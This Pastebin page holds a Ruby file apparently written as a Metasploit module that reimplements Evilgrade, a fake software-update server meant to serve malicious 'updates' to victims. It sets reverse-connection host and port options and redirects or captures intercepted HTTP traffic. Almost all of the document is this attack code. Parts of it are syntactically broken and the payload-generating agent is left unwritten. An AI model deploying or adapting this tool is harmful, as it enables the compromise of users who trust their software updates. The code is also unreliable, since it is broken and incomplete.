Advertisement
infodox

updateserver.rb

Jan 3rd, 2012
148
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 6.84 KB | None | 0 0
  1. module Msf
  2.         ###
  3.         #
  4.         # Evilgrade implementation for Metasploit. Same as the one at http://nullcon.net/nullcon2010presentation/Veysel_nullcon2010_Paper.pdf
  5.         # Except the code in the .pdf wont just copypaste so I am slowly rewriting it and adding more fake update modules from the latest evilgrade update
  6.         # www.infodox.co.cc
  7.         #
  8.         ###
  9.  
  10.         module Auxiliary::Update
  11.  
  12.                 attr _reader: base, :agent
  13.                 require 'resolv'
  14.                 require 'digest/md5'
  15.                 include Msf::Exploit::Remote::TcpServer
  16.  
  17.                 def initialize(info = {})
  18.                         super(
  19.                                 'Actions'        => [ [ 'Update' ] ] ,
  20.                                 'PassiveActions' => [ 'Update' ] ,
  21.                                 'DefaultAction'  => 'Update'
  22.                         )
  23.                         register_options(
  24.                                 [
  25.                                
  26.                                         OptPort.new('SRVPORT' ,     [ false , "The  local  port  to  listen on." , 80 ]) ,
  27.                                         OptString.new('UPAYLOAD' ,      [ true , "The fake  update." , nil ]) ,
  28.                                         OptAddress.new('LHOST' , [ false , "Reverse connection host." , nil ]) ,
  29.                                         OptPort.new( 'LPORT' , [ false , "Reverse connection port." , nil ]) ,
  30.                                         OptAddress.new('CAPTURE_HOST' , [ false , "The IP address of the http capture service" , nil ]) ,
  31.                                         OptPort.new('CAPTURE_PORT' , [ false , "Not matched requests will be forwarded to, if defined the http capture module running at this port, else a redirect to the real ip address" , nil ])
  32.                         ], Auxiliary::Update)
  33.                         create_agent( )
  34.                 end
  35.                
  36.                 def on_client_connect(c)
  37.                         c.extend(Rex::Proto::Http::Server Client)
  38.                         c.init_cli(self)
  39.                 end
  40.  
  41.                 def on_client_data(cli)
  42.                         begin
  43.                                 data = cli.get_once(-1, 5)
  44.                                 raise::Errno::ECONNABORTED if not (data or data.length == 0)
  45.                                 case cli.request.parse(data)
  46.                                
  47.                                 when Rex::Proto::Http::Packet::ParseCode::Completed
  48.                                         dispatch_request(cli, cli.request)
  49.                                         cli.reset_cli
  50.                                 when Rex::Proto::Http::Packet::ParseCode::Error
  51.                                         close_client(cli)
  52.                                 end
  53.                         rescue ::EOFError , ::Errno::EACCES, ::Errno::ECONNABORTED,
  54.                             ::Errno::ECONNRESET
  55.                         rescue ::OpenSSL::SSL::SSLError
  56.                         rescue ::Exception
  57.                                 print_status("Error: #{$!.class} #{$!} #{$!.
  58.                                     backtrace}")
  59.                         end
  60.  
  61.                         close_client(cli)
  62.                 end
  63.                
  64.                 def close_client(cli)
  65.                         cli.close
  66.                 end
  67.  
  68.                 def exploit
  69.                         # if update_server is set in global datastore, existing
  70.                         # server handles all requests
  71.                         # else a new server will be created
  72.                         super if not framework.datastore ['update_server']
  73.                 end
  74.  
  75.                 def run
  76.                         exploit()
  77.                 end
  78.                 ###
  79.                 #
  80.                 # dispatches the request
  81.                 # if request matches vh and uri , method according to request type is called
  82.                 # else redirected
  83.                 #
  84.                 ###
  85.                 def dispatch_request(cli , req)
  86.                         res = nil
  87.                         print_status("Request #{req['Host']}")
  88.                         @base['vh'].each{ |vh|
  89.                                 if req ['Host'] =~ /#{vh}/
  90.                                         @base['request'].each{  |request|
  91.                                                 if req.uri.to_s =~ /#{request['req']}/
  92.                                                         data = case request['type']
  93.                                                                 when "file";
  94.                                                                     on_client_request_file
  95.                                                                     (cli , req , request)
  96.                                                                 when "string";
  97.                                                                     on_client_request_string
  98.                                                                     (cli , req , request)
  99.                                                                 when "agent";
  100.                                                                     on_client_request_agent
  101.                                                                     (cli , req , request)
  102.                                                                 when "redirect"; res
  103.                                                                     = redirect(cli , req , request['to'])
  104.                                                                 else
  105.                                                                                 '
  106.                                                                                     unknown
  107.                                                                                     '
  108.                                                                 end
  109.                                                         res || = create_response(
  110.                                                             request['type'],data,
  111.                                                             req['Host'],request['header'])
  112.                                                         break
  113.                                                 end
  114.                                         }
  115.                                 end
  116.                         } if not @base.nil?
  117.                         res || = redirect(cli , req)
  118.                         cli.put(res)
  119.                         return
  120.                 end
  121.                
  122.                 def on_client_request_string(cli , req , conf)
  123.                         data = conf['string']
  124.                         @base['options'].each{ |name, config|
  125.                                 val = eval(config['val']) if config['dynamic'].eql
  126.                                         ?(1)
  127.                                 val ||= config['val']
  128.                                 data.gsub!(/\<\%#{name.upcase}\%\>/, val.to_s)
  129.                         } if conf['parse'].eql?(1)
  130.                         return data
  131.                 end
  132.                
  133.                 def on_client_request_file(cli , req , conf)
  134.                         fname = File.join(Msf::Config.install_root, "data", "exploits", "update", "http", conf['file'] )
  135.                         data = File.read(fname)
  136.                         @base ['options'].each{ |name, config|
  137.                                 val = eval(config['val']) if config['dynamic'].eql
  138.                                     ?(1)
  139.                                 val ||= config['val']
  140.                                 data.gsub!(/\<\%#{name.upcase}\%\>/, val.to_s)
  141.                         } if conf['parse'].eql?(1)
  142.                         return data
  143.                 end
  144.                
  145.                 def on_client_request_agent(cli , req , conf)
  146.                         return @agent
  147.                 end
  148.                
  149.                 def redirect(cli , req , to=false)
  150.                         if datastore['CAPTURE_PORT'].nil?
  151.                                 ip = Resolv.getaddress(req['Host']).to_s
  152.                                 to ||="http://#{ip}#{req.uri}"
  153.                                 if req.uri =~/\.html/ or not req.uri =~/\./
  154.                                         data = "<html><head></head><frame set rows
  155.                                             ='100%'>" +
  156.                                                                 "<frame src='#{to
  157.                                                                     }'></frameset>"
  158.                                                                         +
  159.                                                                     "</html>"
  160.                                         res = create_response('string' , data , req['Host'])       
  161.                                 else
  162.                                         res = "HTTP/1.1 307 Temporary Redirect\r\n" +
  163.                                                 "Location:#{to}\r\n" +
  164.                                                 "Content-Type:text/html\r\n" +
  165.                                                 "Content-Length:0" +
  166.                                                 "Connection:Close\r\n\r\n"
  167.                                 end
  168.                         else
  169.                                 ip = datastore['CAPTURE_HOST']
  170.                                 port = datastore['CAPTURE_PORT']
  171.                                 res = "HTTP/1.1 301 Moved Permanently\r\n" +
  172.                                         "Location:http://#{ip}:#{port}/\r\n" +
  173.                                         "Content-Type:text/html\r\n" +
  174.                                         "Content-Length:0" +
  175.                                         "Connection:Close\r\n\r\n"
  176.                         end
  177.                         return res
  178.                 end
  179.                
  180.                 def create_response(type , data , host , header=false)
  181.                         if type.eql?("agent")
  182.                                 res =   "HTTP/1.1 200 OK\r\n" +
  183.                                         "Host:#{host}\r\n" +
  184.                                         "Expires:0\r\n" +
  185.                                         "Cache-Control:must-revalidate\r\n" +
  186.                                         "Content-Type:application/octet-stream\r\n" +
  187.                                         "Content-Length:#{data.length}\r\n" +
  188.                                         "Connection:Close\r\n\r\n#{data}"
  189.                                        
  190.                         elsif not header.nil?
  191.                                 res =   "HTTP/1.1 200 OK\r\n" +
  192.                                         "Host:#{host}\r\n" +
  193.                                         "Expires:0\r\n" +
  194.                                         "Cache-Control:must-revalidate\r\n" +
  195.                                         "Content-Type:#{header}\r\n" +
  196.                                         "Content-Length:#{data.length}\r\n" +
  197.                                         "Connection:Close\r\n\r\n#{data}"
  198.                         else
  199.                                 res = "HTTP/1.1 200 OK\r\n" +
  200.                                 "Host:#{host}\r\n" +
  201.                                 "Expires:0\r\n" +
  202.                                 "Cache-Control:must-revalidate\r\n" +
  203.                                 "Content-Type:text/html\r\n" +
  204.                                 "Content-Length:#{data.length}\r\n" +
  205.                                 "Connection:Close\r\n\r\n#{data}"
  206.                         end
  207.                         return res
  208.                 end
  209.                
  210.                 ## Now to add Create Agent ... may take a day or two
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement